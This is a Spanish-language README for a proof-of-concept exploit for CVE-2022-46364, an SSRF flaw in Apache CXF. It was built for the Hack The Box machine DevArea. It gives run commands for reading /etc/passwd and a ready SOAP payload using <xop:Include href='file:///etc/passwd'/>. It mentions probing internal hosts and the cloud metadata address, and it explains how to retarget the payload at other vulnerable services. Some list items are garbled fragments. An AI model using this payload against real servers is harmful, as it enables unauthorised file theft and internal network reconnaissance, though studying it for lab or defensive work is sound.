
Exploit de prueba de concepto para CVE-2022-46364, una vulnerabilidad SSRF en Apache CXF que permite la lectura arbitraria de archivos y el sondeo de redes internas a través de solicitudes SOAP MTOM/XOP manipuladas.
Exploit de prueba de concepto para CVE-2022-46364 — una vulnerabilidad de falsificación de solicitud del lado del servidor (SSRF) en el procesamiento de solicitudes MTOM/XOP de Apache CXF.
CVE-2022-46364 afecta a las versiones de Apache CXF anteriores a 3.4.10 y 3.5.5. Cuando MTOM (Mecanismo de optimización de transmisión de mensajes) está habilitado en un servicio SOAP, el deserializador de CXF valida incorrectamente el atributo href dentro de los elementos <xop:Include>. En lugar de restringir href a URIs cid: (como lo exige la especificación XOP de W3C), CXF desreferencia URIs arbitrarias — incluyendo file://, http:// y https://.
Esto permite a un atacante no autenticado:
file:///etc/passwd)http://169.254.169.254/)Este PoC fue escrito y probado contra la máquina Hack The Box:
Endpoint objetivo: http://devarea.htb:8080/employeeservice
Pero pequeños cambios en la carga útil XML según el WSDL objetivo lo hacen adaptable al entorno objetivo.
La URL predeterminada es http://devarea.htb:8080/employeeservice.
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
Importante: Este script está codificado para la estructura WSDL de HTB DevArea. Para usarlo contra otro servicio vulnerable de Apache CXF, debe modificar la carga útil SOAP dentro de
build_payload()para que coincida con el contrato WSDL del objetivo.
Obtener el WSDL del objetivo:
curl http://target:8080/employeeservice?wsdl
Identificar los detalles del servicio:
targetNamespace (ej. http://devarea.htb/)submitReport)<arg0> con <content> anidado)Modificar la carga útil en build_payload():
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> dentro de un campo que el servidor procesará como un adjuntoActualizar --url al ejecutar el script.
Dado este fragmento WSDL:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
Su carga útil debería ser:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
multipart/related con Content-Type: application/xop+xml.<xop:Include href="file:///etc/passwd"/>.file://.<return> SOAP.Content: y la decodifica.| Recurso | Enlace |
|---|---|
| Aviso de Apache CXF | CVE-2022-46364 |
| Entrada NVD | NVD — CVE-2022-46364 |
| Apache Jira (CXF-8706) | CXF-8706 |
| Especificación XOP de W3C | XML-binary Optimized Packaging |
| Análisis detallado de Penligent | CVE-2022-46364 PoC en la práctica |
| HTB DevArea | Hack The Box — DevArea |
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. Siempre obtenga permiso explícito antes de probar sistemas que no le pertenezcan. El autor no se responsabiliza por el mal uso o daños causados por este script.
Licencia MIT — siéntase libre de usar, modificar y compartir con la atribución adecuada.